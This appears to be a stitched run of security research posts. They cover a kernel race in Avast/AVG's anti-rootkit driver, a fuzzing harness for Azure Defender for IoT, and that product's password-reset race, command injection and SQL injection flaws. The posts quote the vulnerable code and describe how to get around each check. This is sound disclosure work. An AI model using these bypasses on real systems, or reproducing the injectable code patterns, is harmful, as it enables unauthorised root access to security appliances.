SentinelLabs has discovered two high severity flaws in Avast and AVG (acquired by Avast in 2016) that went undiscovered for years affecting dozens of millions of users.
These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded.
SentinelLabsβ findings were proactively reported to Avast during December 2021 and the vulnerabilities are tracked as CVE-2022-26522 and CVE-2022-26523.
Avast has silently released security updates to address these vulnerabilities.
At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.
Introduction
Avastβs βAnti Rootkitβ driver (also used by AVG) has been found to be vulnerable to two high severity attacks that could potentially lead to privilege escalation by running code in the kernel from a non-administrator user. Avast and AVG are widely deployed products, and these flaws have potentially left many users worldwide vulnerable to cyber attacks.
Given that these products run as privileged services on Windows devices, such bugs in the very software that is intended to protect users from harm present both an opportunity to attackers and a grave threat to users.
Security products such as these run at the highest level of privileges and are consequently highly attractive to attackers, who often use such vulnerabilities to carry out sophisticated attacks. Vulnerabilities such as this and others discovered by SentinelLabs (1, 2, 3) present a risk to organizations and users deploying the affected software.
As we reported recently, threat actors will exploit such flaws given the opportunity, and it is vital that affected users take appropriate mitigation actions. According to Avast, the vulnerable feature was introduced in Avast 12.1. Given the longevity of this flaw, we estimate that millions of users were likely exposed.
Security products ensure device security and are supposed to prevent such attacks from happening, but what if the security product itself introduces a vulnerability? Whoβs protecting the protectors?
CVE-2022-26522
The vulnerable routine resides in a socket connection handler in the kernel driver aswArPot.sys. Since the two reported vulnerabilities are very similar, we will primarily focus on the details of CVE-2022-26522.
CVE-2022-26522 refers to a vulnerability that resides in aswArPot+0xc4a3.
As can be seen in the image above, the function first attaches the current thread to the target process, and then uses nt!PsGetProcessPeb to obtain a pointer to the current process PEB (red arrow). It then fetches (first time) PPEB->ProcessParameters->CommandLine.Length to allocate a new buffer (yellow arrow). It then copies the user supplied buffer at PPEB->ProcessParameters->CommandLine.Buffer with the size of PPEB->ProcessParameters->CommandLine.Length (orange arrow), which is the first fetch.
During this window of opportunity, an attacker could race the kernel thread and modify the Length variable.
As can be seen from the code snippet above, the code obtains a pointer to the PEB structure and then flips the Length field in the process command line structure.
The vulnerability can be triggered inside the driver by initiating a socket connection as shown by the following code.
Once the vulnerability is triggered, the user sees the following alert from the OS.
CVE-2022-26523
The second vulnerable function is at aswArPot+0xbb94 and is very similar to the first vulnerability. This function double fetches the Length field from a user controlled pointer, too.
This vulnerable code is a part of several handlers in the driver and, therefore, can be triggered multiple ways such as via image load callback.
Both of these vulnerabilities were fixed in version 22.1.
Impact
Due to the nature of these vulnerabilities, they can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, the vulnerabilities could be exploited as part of a second stage browser attack or to perform a sandbox escape, among other possibilities.
As we have noted with similar flaws in other products recently (1, 2, 3), such vulnerabilities have the potential to allow complete take over of a device, even without privileges, due to the ability to execute code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.
Mitigation
The majority of Avast and AVG users will receive the patch (version 22.1) automatically; however, those using air gapped or on premise installations are advised to apply the patch as soon as possible.
Conclusion
These high severity vulnerabilities, affect millions of users worldwide. As with another vulnerability SentinelLabs disclosed that remained hidden for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.
While we havenβt seen any indicators that these vulnerabilities have been exploited in the wild up till now, with dozens of millions of users affected, it is possible that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.
As part of the commitment of SentinelLabs to advancing industry security, we actively invest in vulnerability research, including advanced threat modeling and vulnerability testing of various platforms and technologies.
We would like to thank Avast for their approach to our disclosure and for quickly remediating the vulnerabilities.
Disclosure Timeline
20 December, 2021 β Initial disclosure.
04 January, 2022 β Avast acknowledges the report.
11 February, 2022 β Avast notifies us that the vulnerabilities are fixed.
Following on from our post into multiple vulnerabilities in Microsoft Azure Defender for IoT, this post discusses the techniques and infrastructure we used in our vulnerability research. In particular, we focus on the fuzzing infrastructure we developed in order to fuzz the DPI mechanism.
We explore the intricacies of developing an advanced fuzzer and describe our methods along with some of the challenges we met and overcame in the process. We hope that this will be of value to other researchers and contribute to the overall aim of improving product security in the enterprise.
In order to understand the context of what follows, readers are encouraged to review our previous post on the vulnerabilities we discovered and reported in Azure Defender for IoT.
Overview of Network Dissectors in the Horizon-Parser
Deep packet inspection (DPI) in Microsoft Azure Defender For IoT is achieved via the horizon component, which is responsible for analyzing network traffic. The horizon component loads built-in dissectors and can be extended to add custom network protocol dissectors.
The DPI infrastructure consists of two docker images that run on the sensor machine, Traffic-Monitor and Horizon-Parser.
The horizon-parser container is responsible for analyzing the traffic and extracting the appropriate fields as well as alerting if anomalies occur. This is the mechanism we will focus on since it is where the DPI is.
Letβs begin by taking a look at an overview of the horizon architecture:
Soure: MSDN
The main binary that the horizon-parser executes is the horizon daemon, which is responsible for the entire DPI process. In its initialization phase, this binary loads dissectors: shared libraries that implement network protocol parsers.
As an effective way to fuzz the network dissectors, we rely on binary instrumentation and an injected library that expands AFL to facilitate fast fuzzing mechanisms. While Microsoft had left some partially unstripped binaries containing only the function names, the vast majority of this research had to be performed βblack boxβ. In addition to this, we had to compile a lot of dependency libraries and load their symbols into IDA to make the research easier.
Microsoft has released some limited information about how to implement a custom dissector. According to this information, a dissector is implemented via the following C++ interface:
processDissectAs β Called when a new plugin is loaded with a map containing the structure of dissect_as, as defined in a JSON configuration file.
processLayer β The main function of the dissector. Everything related to packet processing should be done here. Each time a new packet is being routed to the dissector, this function will be called.
create_parser β Called when the dissector is loaded, used by the horizon binary in order to recognize and register the dissector. In addition, it is responsible for an early bootstrapping of the dissector.
A dissector is built in a layered configuration, meaning that each dissector is responsible for one layer and then the horizon service is responsible for passing the outcome to the next layer in the chain:
Source: MSDN
A dissector consists of a JSON configuration file, the binary file itself, and other metadata. Understanding the JSON configuration file is not necessary to follow the rest of the post, but itβll give you the look and feel of the system.
Below is an example of the JSON configuration file for the FTP dissector.
Below is a list of the pre-installed dissectors that come with Azure Defender For IoT sensor machine.
Our task is to fuzz processLayer, as this is the routine that is responsible for actually parsing packet data. However, fuzzing stateful network services is not a simple task in any circumstances; fuzzing it on a black box target only adds to the complexity.
Fuzzing Dissectors with E9AFL
After some testing and experimentation, we chose AFL for fuzzing the dissectors, but we had to help it a little and provide coverage feedback to actually enable it to efficiently fuzz our targets.
To overcome the lack of sources we used e9afl with minor changes to fit our goals. E9AFL is an open source binary-level instrumentation project that relies on e9patch, a powerful static binary rewriting tool for x86_64 Linux ELF binaries. Interested readers can dive more into the background of E9AFL here.
We begin our instrumentation with E9AFL using the following commands.
For our target, we needed to make some adjustments. For the sake of speed as well as other reasons that will be explained further below, we wanted to control the fork server initialization phase. We also wanted to accurately choose an initialization spot for the binary fuzzing to start. Given these requirements, we chose to modify the init function in the inserted instrumentation by commenting out the fork server initialization. As will be explained below, we implement this initialization manually later.
At this point, it is probably worth reminding readers that, to improve performance, afl-fuzz uses a βfork serverβ, where the fuzzed process goes through execve(), linking, and libc initialization only once, and is then cloned from a stopped process image by leveraging copy-on-write. The implementation is described in more detail here.
The point where we chose to start the fork server is a little before the entry point of processLayer on the invoked target dissector. However, in order to do so and also support generic fuzzing for every dissector, we needed to reverse engineer the horizon binary to understand the internal structures that are passed between these routines.
Unfortunately, this turned out to be a very tedious task since the code is very large, highly complex and written in modern C++. In addition, the horizon binary implements a framework of handling network traffic data.
Instead of spending time reversing the whole structures and relevant code, we came up with another idea and facilitated a special harness. We let the horizon binary run, then stopped it at a strategic location where all the structures had been populated and were ready to use, modified the appropriate fields to insert a test case, and continued execution with the fork server.
This meant that we did not need the entire structures passed to processLayer; some can be left untyped as we only relay those pointers (e.g., Dissection Context).
The data_buffer_t struct, which contains the packet data, needs to be modified for each execution of the fuzzee to feed new test cases to the fuzzer.
typedef struct __attribute__((packed)) __attribute__((aligned(4))) data_buffer
{
void* _vftbl;
<redacted>
unsigned long long cursor;
unsigned long long data_len;
unsigned long long total_data_len;
void* data_ptr;
void* data_ptr_end;
void* curr_data_ptr;
int field_80;
} data_buffer_t;
Letβs consider a brief flowchart of the fuzzing process.
We use AFL_PRELOAD or LD_PRELOAD (depending on the execution) to inject our fuzzer helper library into the fuzzee to facilitate a fuzzing ready environment.
The first code that runs in the library is the run() function, which is sort of a shared library entry point:
As shown, it checks whether the main module is horizon and if it is, it enables the hooks by setting should_hook to true.
Since this library is injected in the early stages of the process creation, we have to set a temporary hook to a function, which in turn will set the hook to the real target function. The following function was chosen by reverse engineering. We found that it was being called by horizon in later stages of execution but before the packet processing actually starts.
int (*setsockopt_orig)(int sockfd, int level, int optname, const void* optval, socklen_t optlen);
int setsockopt(int sockfd, int level, int optname, const void* optval, socklen_t optlen) {
if (!setsockopt_orig) setsockopt_orig = dlsym(RTLD_NEXT, "setsockopt");
if (done_hooking || !should_hook) {
return setsockopt_orig(sockfd, level, optname, optval, optlen);
}
done_hooking = 1;
hooker();
return setsockopt_orig(sockfd, level, optname, optval, optlen);
}
This is due to the fact that our library is loaded when the process isnβt fully mapped yet. This function calls the hooker function, shown below.
The INSTRUMENTED_OFFSET is an offset added to the main module by E9AFL. As can be seen, CALL_PROCESS_HOOK_OFFSET is our target code to be hooked by the trampoline code, which is right before processLayer is invoked.
The code above is only executed when a packet arrives; thus, we send a dummy packet to the target fuzzee.
The dissectionContext structure contains the state of the layered packet. For example, an HTTP packet is composed of several layers, including: ETHERNET, IPV4, TCP and HTTP, so the dissectionContext will contain information regarding each layer in the chain.
Since reconstructing all relevant structures can be tedious, for our purposes we can use an already populated dissectionContext as we only fuzz one layer at a time.
Letβs next take a look at the trampoline() code.
The trampoline is responsible for redirecting the execution to the prepare_fuzzer function when the proper conditions are met. When our dummy packet is received, the trampoline compares the current layer ID to the HTTP constant. Although we chose HTTP arbitrarily, it could be any Layer7 protocol that sits on top of TCP. The same goes for UDP, but we use the DNS Layer ID instead. If it doesnβt match, we restore the correct program state by manually executing the overwritten instructions and jumping back to the continuation of the hooked function.Ultimately, we want to achieve a state where the dissectionContext points to a TCP/UDP previousLayer, depending on our target. This means that we only need to change the data buffer to our test case.
In the above scenario, rsi holds a pointer to dissectionContext, which contains the layer Id in offset 0x10 (pluginId on the picture).
When the above conditions are met, our fuzzee reaches this prepare_fuzzer.
At this point, we want to ensure that this function only gets executed once for each fuzzing instance.
int prepare_fuzzer(void* res, void* dissection_context) {
if (did_hook_happened) {
while (true) {
sleep(1000);
}
}
did_hook_happened = 1;
Notice that the function signature matches (partly) with the horizon::protocol::ParserOrchestrator::ParserOrchestratorImpl::callProcess function.
The rest of the parameters arenβt needed for us, since we can create them ourselves.
Customizing and Running The Fuzzer
There are about 100 builtin dissectors we want to fuzz. To make our fuzzing process easier, a number of generic environment variables were added that let us change the fuzzing target directly from the command line.
The create_module_handle function maps the specified path to the memory and is used to search for an address to a function using a symbol name. This is required because dlopen does not load the symbol table.
Next, we lookup a pointer to the horizon::general::DataBuffer::DataBuffer constructor that initialises the data buffer object for us, and then we populate the appropriate fields to set it to our testcase. This is performed by create_data_buffer, which is used later in the code:
We fire up the fork server and initialize aflβs coverage bitmap. Next, we read the test case data from the specified file. Finally, we create the data buffer with the test case and call the processLayer function.
__afl_map_shm();
__afl_start_forkserver();
//special point
FILE* f = fopen(fuzzfile, "rb");
if (f) {
fseek(f, 0, SEEK_END);
length = ftell(f);
fseek(f, 0, SEEK_SET);
fuzzbuffer = malloc(length);
if (fuzzbuffer) {
fread(fuzzbuffer, 1, length, f);
}
fclose(f);
}
if (fuzzbuffer) {
data_buffer_t* buffer = create_data_buffer((unsigned char*)fuzzbuffer, length);
process_layer_ptr(parser_result, *create_parser_obj, dissection_context, buffer);
}
_exit(0); // we only fuzz one dissector at a time
Every time the fuzzer executes a new test case, the execution continues from the βspecial pointβ as marked above.
To execute the fuzzer, we used the following command:
When we tested our fuzzer, we experienced several stability issues.
The fuzzer reported non-reproducible crashes and stability sometimes dropped to 0.1%. This happened because horizon had several threads doing polling, which generated non-deterministic behaviour. To fix this issueΒ we had to block the polling before the fork server started. Thus, we introduced the following hook.
int (*poll_orig)(struct pollfd* fds, nfds_t nfds, int timeout);
int poll(struct pollfd* fds, nfds_t nfds, int timeout) {
if (!poll_orig)
poll_orig = dlsym(RTLD_NEXT, "poll");
if (should_end_poll) {
pause();
}
return poll_orig(fds, nfds, timeout);
}
Right before starting the fork server, we set should_end_poll to true, which blocks this API.
This fixed the stability issue and raised it to above 99.5%.
The latest version of the loader can be found here.
Enhancing the Fuzzerβs Efficiency
Weβve done some fuzzing at this point, but we wanted to enhance and efficiently use our machinesβ resources. However, we could not run two fuzzing instances simultaneously on the same machine. This is due to the fact that horizon listens on some sockets which prevents other instances from running as well.
We solved this problem via two different solutions. The first solution simply closes all the relevant sockets before starting the fork server:
void closesockets() {
int i = 0;
for(i=0; i
The second approach eliminates the need to actually send a packet to horizon. We found that the horizon service can be used in two modes:
Live packet capture - When used, horizon will capture packets from a port mirror. This is the default configuration mode, rcdcap.
Offline mode (PCAP) - In this mode, horizon will load a PCAP file from the disk and replay the traffic.
By reverse engineering the horizon binary, we figured out that we could change the processor time to be βfileβ and have it load a PCAP file as mentioned above.
This eventually made the configuration file look like this:
All of these enhancements enabled us to execute numerous fuzzing instances.
At this point, we created a Telegram bot to report fuzzing progress, control coverage collecting per test case, and retrieve files from the fuzzer.
Checking Results and Finding Vulnerabilities
In order to check the fuzzerβs progress, we created a Python script that takes every new test case from each fuzzing instance and runs it with Intel PIN and lighthouse library, which allows us to see the coverage more easily in IDA Pro.
We ended up finding a lot of DOS vulnerabilities, which thanks to the Data buffer framework turned out to be pretty safe. Most of the DOS bugs we found were due to infinite recursion stack overflows.
Although we did not fuzz all possible dissectors, we eventually found a buffer overflow vulnerability in libsnmp.so.
The vulnerability occurs in the processVarBindList function. When calling the OBJECT_IDENTIFIER_get_arcs function, the code doesn't check the return value correctly and is being used as a loop stop condition. This loop copies controlled data to a stack buffer.
Sending a specially crafted packet causes OBJECT_IDENTIFIER_get_arcs to fail, and return a -1 value. Afterwards, the conditional statement does not check the value properly, resulting in a buffer overflow vulnerability with controlled data.
Conclusion
The fuzzing techniques we developed here helped us to find multiple vulnerabilities in Microsoft Azure Defender for IoT. The results of our research showed that vulnerabilities in the DPI infrastructure could be triggered by simply sending a packet within the monitored network; the exploit could be directed at any device since the DPI infrastructure monitors the network traffic, and an attacker does not need to have direct access to the sensor itself, rendering these kind of vulnerabilities more dangerous.
More generally, we hope the techniques described in this post will help others to develop their own advanced fuzzers, find currently unknown vulnerabilities and improve the security of closed-source products.
By Kasif Dekel and Ronen Shustin (independent researcher)
Executive Summary
SentinelLabs has discovered a number of critical severity flaws in Microsoft Azureβs Defender for IoT affecting cloud and on-premise customers.
Unauthenticated attackers can remotely compromise devices protected by Microsoft Azure Defender for IoT by abusing vulnerabilities in Azureβs Password Recovery mechanism.
SentinelLabsβ findings were proactively reported to Microsoft in June 2021 and the vulnerabilities are tracked as CVE-2021-42310, CVE-2021-42312, CVE-2021-37222, CVE-2021-42313 and CVE-2021-42311 marked as critical, some with CVSS score 9.8.
Microsoft has released security updates to address these critical vulnerabilities. Users are encouraged to take action immediately.
At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.
Introduction
Operational technology (OT) networks power many of the most critical aspects of our society; however, many of these technologies were not designed with security in mind and canβt be protected with traditional IT security controls. Meanwhile, the Internet of Things (IoT) is enabling a new wave of innovation with billions of connected devices, increasing the attack surface and risk.
The problem has not gone unnoticed by vendors, and many offer security solutions in an attempt to address it, but what if the security solution itself introduces vulnerabilities? In this report, we will discuss critical vulnerabilities found in Microsoft Azure Defender for IoT, a security product for IoT/OT networks by Microsoft Azure.
First, we show how flaws in the password reset mechanism can be abused by remote attackers to gain unauthorized access. Then, we discuss multiple SQL injection vulnerabilities in Defender for IoT that allow remote attackers to gain access without authentication. Ultimately, our research raises serious questions about the security of security products themselves and their overall effect on the security posture of vulnerable sectors.
Microsoft Azure Defender For IoT
Microsoft Defender for IoT is an agentless network-layer security for continuous IoT/OT asset discovery, vulnerability management, and threat detection that does not require changes to existing environments. It can be deployed fully on-premises or in Azure-connected environments.
Microsoft Azure Defender For IoT Management β Enables SOC teams to manage and analyze alerts aggregated from multiple sensors into a single dashboard and provides an overall view of the health of the networks.
Microsoft Azure Defender For IoT Sensor β Discovers and continuously monitors network devices. Sensors collect ICS network traffic using passive (agentless) monitoring on IoT and OT devices. Sensors connect to a SPAN port or network TAP and immediately begin performing DPI (Deep packet inspection) on IoT and OT network traffic.
Both components can be either installed on a dedicated appliance or on a VM.
Deep packet inspection (DPI) is achieved via the horizon component, which is responsible for analyzing network traffic. The horizon component loads built-in dissectors and can be extended to add custom network protocol dissectors.
Defender for IoT Web Interface Attack Surface
Both the management and the sensor share roughly the same code base, with configuration changes to fit the purpose of the machine. This is the reason why both machines are affected by most of the same vulnerabilities.
The most appealing attack surface exposed on both machines is the web interface, which allows controlling the environment in an easy way. The sensor additionally exposes another attack surface which is the DPI service (horizon) that parses the network traffic.
After installing and configuring the management and sensors, we are greeted with the login page of the web interface.
The same credentials are used also as the login credentials for the SSH server, which gives us some more insights into how the system works. The first thing we want to do is obtain the sources to see what is happening behind the scenes, so how do we get those?
Defender for IoT is a product formerly known as CyberX, acquired by Microsoft in 2020. Looking around in the home directory of the βcyberxβ user, we found the installation script and a tar archive containing the systemβs encrypted files. Reading the script we found the command that decrypts the archive file. A minified version:
Using Jetbrains IntelliJβs class hierarchy feature we can easily identify route controllers that do not require authentication.
Route controllers that do not require authentication
Every controller that inherits from BaseHandler and does not validate authentication or requires a secret token is a good candidate at this point. Some controllers drew our attention in particular.
The password recovery mechanism for both the management and sensor operates as follows:
Access to management/sensor URL (e.g., https://ip/login#/dashboard)
Go to the βPassword Recoveryβ page.
Copy the ApplianceID provided in this page to the Azure console and get a password reset ZIP file which you upload in the password reset page.
Upload the signed ZIP file to the management/sensor Password Recovery page using the mentioned form in Step 2. This ZIP contains digitally-signed proof that the user is the owner of this machine, by way of digital certificates and signed data.
A new password is generated and displayed to the user
Under the hood:
The actual process is divided into two requests to the management/sensor server:
Upload of the signed ZIP proof
Password recovery
When a ZIP file is uploaded, it is being extracted to the /var/cyberx/reset_password directory (handled by ZipFileConfigurationApiHandler).
When a password recovery request is being processed, the server performs the following operations:
The PasswordRecoveryApiHandler controller validates the certificates. This validates that the certificates are properly signed by a Root CA. in addition, it checks whether these certificates belong to Azure servers.
A request is sent to an internal Tomcat server to further validate the properties of the machine.
If all checks pass properly, PasswordRecoveryApiHandler generates a new password and returns it to the user.
The ZIP contains the following files:
IotDefenderSigningCertificate.pem β Azure public key, used to verify the data signature in ResetPassword.json, signed by issuer.pem.
Issuer.pem β Signs IotDefenderSigningCertificate.pem, signed by a trusted root CA.
ResetPassword.json β JSON application data, properties of the machine.
The content of the ResetPassword.json file looks as follows:
According to Step 2, the code that processes file uploads to the reset_password directory (components\xsense-web\cyberx_web\api\admin.py:1508) looks as follows:
class ZipFileConfigurationApiHandler(BaseHandler):
def _post(self):
path = self.request.POST.get('path')
approved_path = ['licenses', 'reset_password']
if path not in approved_path:
raise Exception("provided path is not approved")
path = os.path.join('/var/cyberx', path)
cyberx_common.clear_directory_content(path)
files = self.request.FILES
for file_name in files:
license_zip = files[file_name]
zf = zipfile.ZipFile(license_zip)
zf.extractall(path=path)
As shown, the code extracts the user delivered ZIP to the mentioned directory, and the following code handles the password recovery requests (cyberx python library file django_helpers.py:576):
class PasswordRecoveryApiHandler(BaseHandler):
def _get(self):
global host_id
if not host_id:
host_id = common.get_system_id()
host_id = common.add_dashes(host_id)
return {
'instanceId': host_id
}
def _post(self):
print 'resetting user password'
result = {}
try:
body = self.parse_body()
user = body.get('user')
if user != 'cyberx' and user != 'support':
raise Exception('Invalid user')
try:
self._try_reset_password()
except Exception as e:
logging.error('could not verify activation certificate, error {}'.format(e.message))
result = {
"internalSystemErrorMessage": '',
"userDisplayErrorMessage": 'This password recovery file is invalid.' +
'Download a new file. If this does not work, contact support.'
}
url = "http://127.0.0.1:9090/core/api/v1/login/reset-password"
r = requests.post(url=url)
r.raise_for_status()
# Reset passwords
user_new_password = common.generate_password()
self._set_user_password(user, user_new_password)
if not result:
result = {
'newPassword': user_new_password
}
finally:
clear_directory_content('/var/cyberx/reset_password')
return result
The function first validates the provided user and calls the function _try_reset_password:
Internally, this code validates the certificates, including the issuer.
Afterwards, a request to an internal API http://127.0.0.1:9090/core/api/v1/login/reset-password is made and handled by a Java component that eventually executes the following code:
public class ResetPasswordManager {
private static final Logger LOGGER = LoggerFactory.getLogger(ResetPasswordManager.class);
private static final String RESET_PASSWORD_CERTIFICATE_PATH = "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem";
private static final String RESET_PASSWORD_JSON_PATH = "/var/cyberx/reset_password/ResetPassword.json";
private static final ActivationConfiguration ACTIVATION_CONFIGURATION = new ActivationConfiguration();
public static void resetPassword() throws Exception {
LOGGER.info("Trying to reset password");
JSONObject resetPasswordJson = new JSONObject(FileUtils.read("/var/cyberx/reset_password/ResetPassword.json"));
ResetPasswordProperties resetPasswordProperties = (ResetPasswordProperties)JsonSerializer.fromString(resetPasswordJson
.getJSONObject("properties").toString(), ResetPasswordProperties.class);
boolean signatureValid = CryptographyUtils.isSignatureValid(JsonSerializer.toString(resetPasswordProperties).getBytes(StandardCharsets.UTF_8), resetPasswordJson
.getString("signature"), "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem");
if (!signatureValid) {
LOGGER.error("Signature validation failed");
throw new Exception("This signature file is not valid");
}
String subscriptionId = resetPasswordProperties.getSubscriptionId();
String machineSubscriptionId = ACTIVATION_CONFIGURATION.getSubscriptionId();
if (!machineSubscriptionId.equals("") &&
!machineSubscriptionId.contains(resetPasswordProperties.getSubscriptionId())) {
LOGGER.error("Subscription ID didn't match");
throw new Exception("This signature file is not valid");
}
DateTime issuanceDate =
DateTimeFormat.forPattern("MM/dd/yyyy").parseDateTime(resetPasswordProperties.getIssuanceDate()).withTimeAtStartOfDay();
if (DateTime.now().withTimeAtStartOfDay().minusDays(7).isAfter((ReadableInstant)issuanceDate)) {
LOGGER.error("Password reset file expired");
throw new Exception("Password reset file expired");
}
if (!Environment.getSensorUUID().replace("-", "").equals(resetPasswordProperties.getApplianceId().trim().toLowerCase().replace("-", ""))) {
LOGGER.error("Appliance id not equal to real uuid");
throw new Exception("Appliance id not equal to real uuid");
}
}
}
This code validates the password reset files yet again. This time it also validates the signature of the ResetPassword.json file and its properties.
If all goes well and the Java API returns 200 OK status code, the PasswordRecoveryApiHandler controller proceeds and generates a new password and returns it to the user.
Vulnerabilities in Defender for IOT
As shown, the password recovery mechanism consists of two main entities:
The Python web API (external)
The Java web API (tomcat, internal)
This introduces a time-of-check-time-of-use (TOCTOU) vulnerability, since no synchronization mechanism is applied.
As mentioned, the reset password mechanism starts with a ZIP file upload. This primitive lets us upload and extract any files to the /var/cyberx/reset_password directory.
There is a window of opportunity in this flow that makes it possible to change the files in /var/cyberx/reset_password between the first verification (Python API) and the second verification (Java API) in a way that the Python API validates that the files are correctly signed by Azure certificates. Then the Java API processes the replaced specially crafted files that causes it to falsely approve their authenticity and return the 200 OK status code.
The password recovery Java API contains logical flaws that let specially-crafted payloads bypass all verifications.
The Java API validates the signature of the JSON file (same code as above):
JSONObject resetPasswordJson = new JSONObject(FileUtils.read("/var/cyberx/reset_password/ResetPassword.json"));
ResetPasswordProperties resetPasswordProperties = (ResetPasswordProperties)JsonSerializer.fromString(resetPasswordJson
.getJSONObject("properties").toString(), ResetPasswordProperties.class);
boolean signatureValid = CryptographyUtils.isSignatureValid(JsonSerializer.toString(resetPasswordProperties).getBytes(StandardCharsets.UTF_8), resetPasswordJson
.getString("signature"), "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem");
if (!signatureValid) {
LOGGER.error("Signature validation failed");
throw new Exception("This signature file is not valid");
}
The issue here is that it doesnβt verify the IotDefenderSigningCertificate.pem certificate as opposed to the Python API verification. It only checks that the signature in the JSON file is signed by the attached certificate file. This introduces a major flaw.
An attacker can therefore generate a self-signed certificate and sign the ResetPassword.json payload that will pass the signature verification.
As already mentioned, the ResetPassword.json looks like the following:
String subscriptionId = resetPasswordProperties.getSubscriptionId();
String machineSubscriptionId = ACTIVATION_CONFIGURATION.getSubscriptionId();
if (!machineSubscriptionId.equals("") &&
!machineSubscriptionId.contains(resetPasswordProperties.getSubscriptionId())) {
LOGGER.error("Subscription ID didn't match");
throw new Exception("This signature file is not valid");
}
This is the only property that cannot be obtained by a remote attacker and is infeasible to guess in a reasonable time. However, this check can be easily bypassed.
The code takes the subscriptionId from the JSON file and compares it to the machineSubscriptionId. However, the code here is flawed. It checks if machineSubscriptionId contains the subscriptionId from the user controlled JSON file and not the other way around. The use of .contains() is entirely insecure. The subscriptionId is in the format of a GUID, which means it must contain a hyphen. This allows us to bypass this check by only providing a single hyphen character.
Next, the issuanceDate is checked, followed by ApplianceId. This is already supplied to us by the password recovery page (mentioned in Step 2).
Now we understand that we can bypass all of the checks in the Java API, meaning that we only need to successfully win the race condition and ultimately reset the password without authorization.
The fact that the ZIP upload interface and password recovery interface are divided came in handy in the exploitation phase and lets us win the race more easily.
Preparing To Attack Azure Defender For IoT
To prepare the attack we need to do the following.
Obtain a legitimate password recovery ZIP file from the Azure portal. Obviously, we cannot access the Azure user that the victim machine belongs to, but we can use any Azure user and generate a βdummyβ ZIP file. We only need the recovery ZIP file to obtain a legitimate certificate. This can be done at the following URL:
For that matter, we can create a new trial Azure account and generate a recovery file using that interface mentioned above. The secret identifier is irrelevant and may contain garbage.
Then we need to generate a specially crafted (βbadβ) ZIP file. This ZIP file will contain two files:
IotDefenderSigningCertificate.pem β a self-signed certificate. It can be generated by the following command:
ResetPassword.json β properties data JSON file, signed by the self-signed certificate mentioned above and modified accordingly to bypass the Java API verifications.
This JSON file can be signed using the following Java code:
The benign.zip file is the ZIP file obtained from the Azure portal, as described above and the malicious.zip file is the mentioned specially-crafted ZIP file as described above.
The exploit script above performs the TOCTOU attack to reset and receive the password of the cyberx username without authentication at all. It does so by utilizing three threads:
looper_benign β responsible for uploading the benign ZIP file in an infinite loop
looper_malicious β the same as looper_benign but uploads the malicious ZIP, in this configuration with a 1 second timeout
looper_recover β sends the password recovery request to trigger the vulnerable code
Somewhat unfortunately, the documentation mentions that the ZIP file cannot be tampered with.
This vulnerability is addressed as part of CVE-2021-42310.
Unauthenticated Remote Code Execution As Root #1
At this point, we can obtain a password for the privileged user cyberx. This allows us to login to the SSH server and to execute code as root. Even without this, an attacker could use a stealthier approach to execute code.
After logging in with the obtained password, the attack surface is vastly increased. For example, we found a simple command injection vulnerability within the change password mechanism:
From components\xsense-web\cyberx_web\api\authentication.py:151:
def _post(self):
try:
body = self.parse_body()
password = body['password']
username = body['username'].lower() # Lower case the username mainly because it does not matter
ip_address = self.get_client_ip_address()
# 1. validate credentials:
try:
logging.info('validate credentials...')
user = LoginApiHandler.validate_credentials_and_get_user(username, password, ip_address)
except UserFriendlyException as e:
raise e
except Exception as e:
logging.error('User authentication failure', exc_info=True)
raise UserFriendlyException('User authentication failure', e.message)
# 2. validate new password:
new_password = body['new_password']
err_message = UserPasswordApiHandler.validate_password(new_password)
if err_message:
raise UserFriendlyException("Password doesn't match security policy", err_message)
# 3. change password:
user.set_password(new_password)
user.save()
process.run('sudo /usr/local/bin/cyberx-users-password-reset -u {username} -p {password}'
.format(username=user.get_username().encode('utf-8'), password=new_password), hide_output=True)
return {'msg': 'Password has been replaced.'}
except UserFriendlyException as e:
raise e
except Exception as e:
raise UserFriendlyException("Unable to set password.", e.message)
The function receives three JSON fields from the user, βusernameβ, βpasswordβ, βnew_passwordβ.
First, it validates the username and password, which we already have. Next, it only checks the complexity of the password using regex, but does not sanitize the input for command injection primitives.
After the validation it executes the /usr/local/bin/cyberx-users-password-reset script as root with the username and new password controlled by an attacker. As the function doesnβt sanitize the input of βnew_passwordβ properly, we can inject any command we choose. Our command will then be executed as root with the help of sudo because the cyberx user is a sudoer. This lets us execute code as a root user:
This can be exploited with the following HTTP packet:
This vulnerability is addressed as part of CVE-2021-42312.
POC
In the remainder of this post, we present two additional routes and new vulnerabilities as well as a vulnerability in the traffic processing framework.
These vulnerabilities are basic SQL Injections (with a twist), yet they have a high impact on the security of the product and the organizationβs network.
CVE-2021-42313
The DynamicTokenAuthenticationBaseHandler class inherits from BaseHandler and does not require authentication. This class contains two functions (get_version_from_db, uuid_is_connected) which are prone to SQL injection .
def get_version_from_db(self, uuid):
version = None
with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
logger.info("fetching the sensor version from db")
xsenses = client.execute_select_query(
"SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid))
if len(xsenses) > 0:
version = xsenses[0]['version']
logger.info("sensor version according to db is: {}".format(version))
else:
logger.info("sensor not in db")
return version
def uuid_is_connected(self, uuid):
with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
xsenses = client.execute_select_query(
"SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid))
result = len(xsenses) > 0
return result
As shown, the UUID parameter is not sanitized and formatted into an SQL query. There are a couple of classes which inherit DynamicTokenAuthenticationBaseHandler. The flow to the vulnerable functions actually exists in the token validation process.
Therefore, we can trigger the SQL injection without authentication.
These vulnerabilities can be triggered from:
api/sensors/v1/sync
api/v1/upgrade/status
api/v1/upgrade/upgrade-log
It is worth noting that the function execute_select_query internally calls to the SQL execute, API which supports stacked queries. This makes the βsimpleβ select SQL injection a more powerful primitive (aka executing any query using β;β). In our testing we managed to insert, update, and execute SQL special commands.
